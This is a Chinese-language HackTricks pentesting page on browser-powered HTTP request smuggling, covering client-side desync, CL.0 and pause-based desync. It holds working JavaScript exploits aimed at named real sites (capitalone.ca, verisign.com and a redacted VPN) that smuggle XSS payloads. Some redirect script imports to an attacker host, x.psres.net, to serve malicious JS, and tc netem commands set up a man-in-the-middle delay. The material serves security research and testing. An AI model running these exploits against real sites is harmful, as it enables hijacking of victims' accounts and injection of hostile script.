hacktricks/pentesting-web/http-request-smuggling/browser-http-request-smuggling.md
2023-08-03 19:12:22 +00:00

20 KiB
Raw Blame History

浏览器HTTP请求劫持

☁️ HackTricks云 ☁️ -🐦 推特 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

CL.0/H2.0 浏览器兼容的分离

后端服务器完全忽略内容长度CL头时就会出现此漏洞。然后后端将请求体视为第二个请求方法的开始。忽略CL等同于将其视为值为0因此这是一个CL.0分离 - 一个已知但较少探索的攻击类别。

攻击之所以可能是因为后端服务器根本不期望收到POST请求

{% hint style="warning" %} 请注意,此漏洞是由一个完全有效、符合规范的HTTP请求触发的。这意味着前端无法对其进行保护,甚至可以由浏览器触发。 {% endhint %}

CL.0H2.0之间唯一的区别是后者使用了HTTP2(具有隐式内容长度头),但后端也没有使用

客户端分离

传统的分离攻击会破坏前端和后端服务器之间的连接,因此在不使用前端/后端架构的网站上是不可能的。从现在开始,这些都是服务器端分离。大多数服务器端分离只能由自定义的HTTP客户端发出格式错误的请求来触发。

浏览器能够引起分离的能力开启了一整个新的威胁类别,称为客户端分离CSD
CSD攻击始于受害者访问攻击者的网站,然后使其浏览器发送两个跨域请求到易受攻击的网站第一个请求被设计为分离浏览器的连接,并使第二个请求触发一个有害的响应,通常是让攻击者控制受害者的账户。

检测

CSD向量是一个具有两个关键属性的HTTP请求。

首先,服务器必须忽略请求的内容长度CL。这通常是因为请求触发了服务器错误,或者服务器根本不期望将POST请求发送到所选的端点。尝试针对静态文件服务器级重定向进行攻击,并通过过长的URL半格式错误(如 /%2e%2e来触发错误。

其次,请求必须能够在Web浏览器跨域中触发。浏览器严格限制对跨域请求的控制因此您对头部的控制权有限如果请求有请求体则需要使用HTTP POST方法。最终您只能控制URL,以及一些其他杂项,如Referer头部请求体Content-Type的后半部分

忽略CL测试

测试此配置错误的方法是发送2个请求并劫持其中一个。如果劫持的连接影响了第二个请求的响应,则表示它是易受攻击的

{% hint style="warning" %} 请注意,您不能仅通过发送一个比已发送的Content-Length更大的Content-Length并查找超时来测试此漏洞,因为一些服务器即使没有接收到整个请求体也会响应。 {% endhint %}

需要注意的是目标网站是否支持HTTP/2。CSD攻击通常利用HTTP/1.1的连接重用而Web浏览器在可能的情况下更喜欢使用HTTP/2因此如果目标网站支持HTTP/2则您的攻击可能不起作用。有一个例外;一些转发代理不支持HTTP/2因此您可以利用使用它们的任何人。这包括企业代理、某些侵入式VPN甚至一些安全工具。

确认

首先选择一个用于发起攻击的站点。该站点必须通过HTTPS访问并且位于与目标不同的域上。

接下来,确保您没有配置代理,然后浏览到您的攻击站点。打开开发者工具并切换到网络选项卡。为了帮助调试潜在的问题,我建议进行以下调整:

  • 选择“保留日志”复选框。
  • 右键单击列标题启用“连接ID”列。

切换到开发者控制台并使用fetch()执行JavaScript来复制您的攻击序列。可能会看起来像这样

fetch('https://example.com/', {
method: 'POST',
body: "GET /hopefully404 HTTP/1.1\r\nX: Y", // malicious prefix
mode: 'no-cors', // ensure connection ID is visible
credentials: 'include' // poison 'with-cookies' pool
}).then(() => {
location = 'https://example.com/' // use the poisoned connection
})

我已将获取模式设置为'no-cors'以确保Chrome在网络选项卡中显示连接ID。我还设置了'credentials: 'include''因为Chrome有两个单独的连接池-一个用于带有cookie的请求另一个用于不带cookie的请求。通常您希望利用导航并且这些导航使用'with-cookies'池,因此值得养成始终污染该池的习惯。

当您执行此操作时您应该在网络选项卡中看到两个具有相同连接ID的请求第二个请求应该触发404错误

如果一切按预期工作,恭喜您-您发现了一个客户端解同步漏洞!

利用-存储

一种选择是识别目标站点上允许您存储文本数据的功能并制作前缀以便您的受害者的cookie、身份验证标头或密码最终被存储在您可以检索的位置。此攻击流程与服务器端请求解同步几乎完全相同因此我不会详细介绍。

利用-链式攻击

在正常情况下许多类别的服务器端攻击只能由直接访问目标网站的攻击者发起因为它们依赖于浏览器拒绝发送的HTTP请求例如篡改HTTP标头-Web缓存污染、大多数服务器端请求解同步、主机标头攻击、基于用户代理的SQLi、CSRF JSON内容类型和其他许多攻击。

成功攻击的最简单路径来自通常用于服务器端解同步攻击的两个关键技术通过主机标头重定向进行JavaScript资源污染和使用HEAD方法通过有害HTML拼接响应。这两种技术需要进行适应以克服与在受害者的浏览器中操作相关的一些新挑战。

攻击示例

堆叠的HEAD示例

  • 彩色攻击

  • JS攻击
fetch('https://www.capitalone.ca/assets', {
method: 'POST',
// use a cache-buster to delay the response
body: `HEAD /404/?cb=${Date.now()} HTTP/1.1\r\nHost: www.capitalone.ca\r\n\r\nGET /x?x=<script>alert(1)</script> HTTP/1.1\r\nX: Y`,
credentials: 'include',
mode: 'cors' // throw an error instead of following redirect
}).catch(() => {
location = 'https://www.capitalone.ca/'
})va

解释:

  • 在 /assets 中滥用 CL.0(它重定向到 /assets/ 并且不检查 CL
  • 利用一个 HEAD 请求(因为 HEAD 响应仍然包含 content-length
  • 利用一个 GET 请求,其内容将在响应中被反射,并带有有效载荷。
  • 由于 HEAD 请求的 content-length此请求的响应将是 HEAD 请求的正文
  • 设置 cors 模式。通常不会这样做,但在这种情况下,服务器对初始 POST 的响应是一个重定向,如果跟随,则 exploit 将无法工作。因此,使用 cors 模式来触发错误并使用 catch 重定向受害者。

Host header 重定向 + 客户端缓存污染

  • JS exploit
fetch('https://redacted/', {
method: 'POST',
body: "GET /+webvpn+/ HTTP/1.1\r\nHost: x.psres.net\r\nX: Y",
credentials: 'include'}
).catch(() => { location='https://redacted/+CSCOE+/win.js' })
  • 通过在Host头中使用不同的域名发送到/+webvpn+/的请求会被重定向到Host头中的该域名/+webvpn+/index.html
  • 第二个请求中的位置被设置为/+CSCOE+/win.js,以便污染.js文件的缓存
  • 这个请求将被回答为将/+webvpn+/重定向到攻击者的域名,并带有路径/+webvpn+/index.html
  • win.js缓存将被污染为重定向到攻击者的页面,但受害者也会跟随重定向,因为它在location变量中被分配,并最终进入攻击者的网页。
  • 攻击者随后将受害者重定向到https://redacted/+CSCOE+/logon.html。该页面将导入/+CSCOE+/win.js。其缓存是一个重定向到攻击者的服务器,因此,攻击者可以响应恶意JS

受害者两次访问攻击者的页面,第一次它期望一个HTML将受害者重定向回https://redacted/+CSCOE+/logon.html,第二次它期望javascript代码(有效载荷)。可以使用多语言来仅使用一个响应提供这两个响应:

HTTP/1.1 200 OK
Content-Type: text/html

alert('oh dear')/*<script>location = 'https://redacted/+CSCOE+/logon.html'</script>*/

使用分块传输编码的 HEAD 负载

在寻找 CSD 时,您还可以测试半格式错误的 URL/..%2f/%2f

  • 彩色利用

  • JS 利用
fetch('https://www.verisign.com/%2f', {
method: 'POST',
body: `HEAD /assets/languagefiles/AZE.html HTTP/1.1\r\nHost: www.verisign.com\r\nConnection: keep-alive\r\nTransfer-Encoding: chunked\r\n\r\n34d\r\nx`,
credentials: 'include',
headers: {'Content-Type': 'application/x-www-form-urlencoded'
}}).catch(() => {
let form = document.createElement('form')
form.method = 'POST'
form.action = 'https://www.verisign.com/robots.txt'
form.enctype = 'text/plain'
let input = document.createElement('input')
input.name = '0\r\n\r\nGET /<svg/onload=alert(1)> HTTP/1.1\r\nHost: www.verisign.com\r\n\r\nGET /?aaaaaaaaaaaaaaa HTTP/1.1\r\nHost: www.verisign.com\r\n\r\n'
input.value = ''
form.appendChild(input)
document.body.appendChild(form)
form.submit()
}
  • 访问页面 /%2f 来利用 CL.0 漏洞。
  • 使用 Transfer-Encoding: chunked header 进行伪造的 HEAD 请求。
  • 在这种情况下,需要这个 header否则服务器会拒绝带有 body 的 HEAD 请求。
  • 然后,用户发送一个 POST 请求,其 body 包含了前一个 HEAD 请求的 结束块 和一个被伪造的 包含内容JS 载荷)的新请求,该内容将在响应中被 反射
  • 因此,浏览器将把对 HEAD 请求的响应视为对 POST 请求的响应,该响应也包含了反映用户在第二个伪造请求中的输入的响应。

Host header 重定向 + RC

  • JS Exploit
<script>
function reset() {
fetch('https://vpn.redacted/robots.txt',
{mode: 'no-cors', credentials: 'include'}
).then(() => {
x.location = "https://vpn.redacted/dana-na/meeting/meeting_testjs.cgi?cb="+Date.now()
})
setTimeout(poison, 120) // worked on 140. went down to 110
}

function poison(){
sendPoison()
sendPoison()
sendPoison()
setTimeout(reset, 1000)
}

function sendPoison(){
fetch('https://vpn.redacted/dana-na/css/ds_1234cb049586a32ce264fd67d524d7271e4affc0e377d7aede9db4be17f57fc1.css',
{
method: 'POST',
body: "GET /xdana-na/imgs/footerbg.gif HTTP/1.1\r\nHost: x.psres.net\r\nFoo: '+'a'.repeat(9826)+'\r\nConnection: keep-alive\r\n\r\n",
mode: 'no-cors',
credentials: 'include'
}
)
}

</script>
<a onclick="x = window.open('about:blank'); reset()">Start attack</a>

在这种情况下再次存在一个可以用来劫持JS导入的主机头重定向。然而,这次的重定向不可缓存,所以客户端的缓存污染不是一个选择。

因此,攻击将使受害者在一个标签页中访问易受攻击的页面,然后,在页面尝试加载JS文件之前毒化套接字走私连接在这种情况下为3个。 由于时间必须非常精确,所以攻击是针对每次迭代的新标签页执行,直到成功为止。

{% hint style="warning" %} 请记住,在这种情况下,攻击的是/meeting_testjs.cgi,因为它加载一个响应404Javascript,所以它不会被缓存。在其他尝试攻击已缓存JS的场景中,您需要等待它从缓存中消失,然后再发起新的攻击。 {% endhint %}

摘要步骤:

  • 打开一个新窗口。
  • 发出一个无害的请求到目标,以建立一个新的连接,使时间更加一致。
  • 在窗口中导航到目标页面/meeting_testjs.cgi
  • 120毫秒后使用重定向工具创建三个被毒化的连接。
  • 5毫秒后在渲染/meeting_testjs.cgi时,受害者有希望尝试导入/appletRedirect.js并被重定向到x.psres.net该网站提供恶意JS。
  • 如果没有成功,重试攻击。

基于暂停的解同步

通过触发错误的请求超时实现,暂停也可以创建新的解同步漏洞。

因此,攻击者可以发送一个带有指示存在请求体的头部的请求,然后等待前端在发送请求体之前超时。如果前端超时但保持连接打开,那个请求的请求体将被视为新的请求

示例:Varnish

Varnish缓存有一个名为synth()的功能,它允许您发出响应而不将请求转发到后端。下面是一个用于阻止访问文件夹的示例规则:

if (req.url ~ "^/admin") {
return (synth(403, "Forbidden"));
}

当处理与合成规则匹配的部分请求如果Varnish在15秒内未收到任何数据,它将超时。当发生这种情况时,它会保持连接打开以便重用,即使它只读取了一半的请求。这意味着如果客户端随后发送第二部分的HTTP请求它将被解释为一个新的请求

要在易受攻击的前端触发基于暂停的不同步,首先发送头部,承诺有一个正文,然后等待。最终你会收到一个响应,当你最终发送请求正文时,它将被解释为一个新的请求:

{% hint style="warning" %} 显然这个问题在1月25日被修复为CVE-2022-23959。 {% endhint %}

示例:Apache

就像Varnish一样它在服务器自己生成响应的端点上是易受攻击的,而不是让应用程序处理请求。其中一种情况是服务器级别的重定向:Redirect 301 / /en

服务器端利用

如果易受攻击的服务器在这种情况下是Apache或Varnish位于后端则需要一个前端将请求在这种情况下是HTTP头流式传输到后端服务器,而不是缓冲整个请求正文。

在这种情况下,攻击者直到发送正文之前都不会收到响应超时。但是,如果他知道超时时间,这不应该是个问题。

亚马逊的应用程序负载均衡器ALB将根据需要流式传输连接的数据,但是如果它在接收到半个请求的响应(超时)之前接收到正文,它将不会发送正文,因此在这里必须利用竞争条件

利用ALB后面的Apache时,还存在一个额外的复杂性-两个服务器都有一个默认的60秒超时。这给发送请求的第二部分留下了一个非常短的时间窗口。RC攻击最终在66小时后成功。

MITM利用

显然,无法停止浏览器的请求以利用暂停不同步漏洞。然而,您总是可以执行MITM攻击来暂停浏览器发送的请求。请注意,此攻击不依赖于解密任何流量。

攻击流程与常规的客户端不同步攻击非常相似。用户访问由攻击者控制的页面,该页面向目标应用程序发出一系列跨域请求第一个HTTP请求被故意填充得如此,以至于操作系统将其分成多个TCP数据包,使得主动的MITM可以延迟最后一个数据包,从而触发基于暂停的不同步。由于填充,攻击者可以根据大小简单地识别暂停数据包

从客户端的角度来看除了请求填充之外它看起来像是一个常规的客户端不同步使用HEAD gadget。

let form = document.createElement('form')
form.method = 'POST'
form.enctype = 'text/plain'
form.action = 'https://x.psres.net:6082/redirect?'+"h".repeat(600)+ Date.now()
let input = document.createElement('input')
input.name = "HEAD / HTTP/1.1\r\nHost: x\r\n\r\nGET /redirect?<script>alert(document.domain)</script> HTTP/1.1\r\nHost: x\r\nFoo: bar"+"\r\n\r\n".repeat(1700)+"x"
input.value = "x"
form.append(input)
document.body.appendChild(form)
form.submit()

在执行盲中间人攻击的攻击者系统上使用tc-NetEm实现了延迟

# Setup
tc qdisc add dev eth0 root handle 1: prio priomap

# Flag packets to 34.255.5.242 that are between 700 and 1300 bytes
tc filter add dev eth0 protocol ip parent 1:0 prio 1 basic \
match 'u32(u32 0x22ff05f2 0xffffffff at 16)' \
and 'cmp(u16 at 2 layer network gt 0x02bc)' \
and 'cmp(u16 at 2 layer network lt 0x0514)' \
flowid 1:3

# Delay flagged packets by 61 seconds
tc qdisc add dev eth0 parent 1:3 handle 10: netem delay 61s

参考资料

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥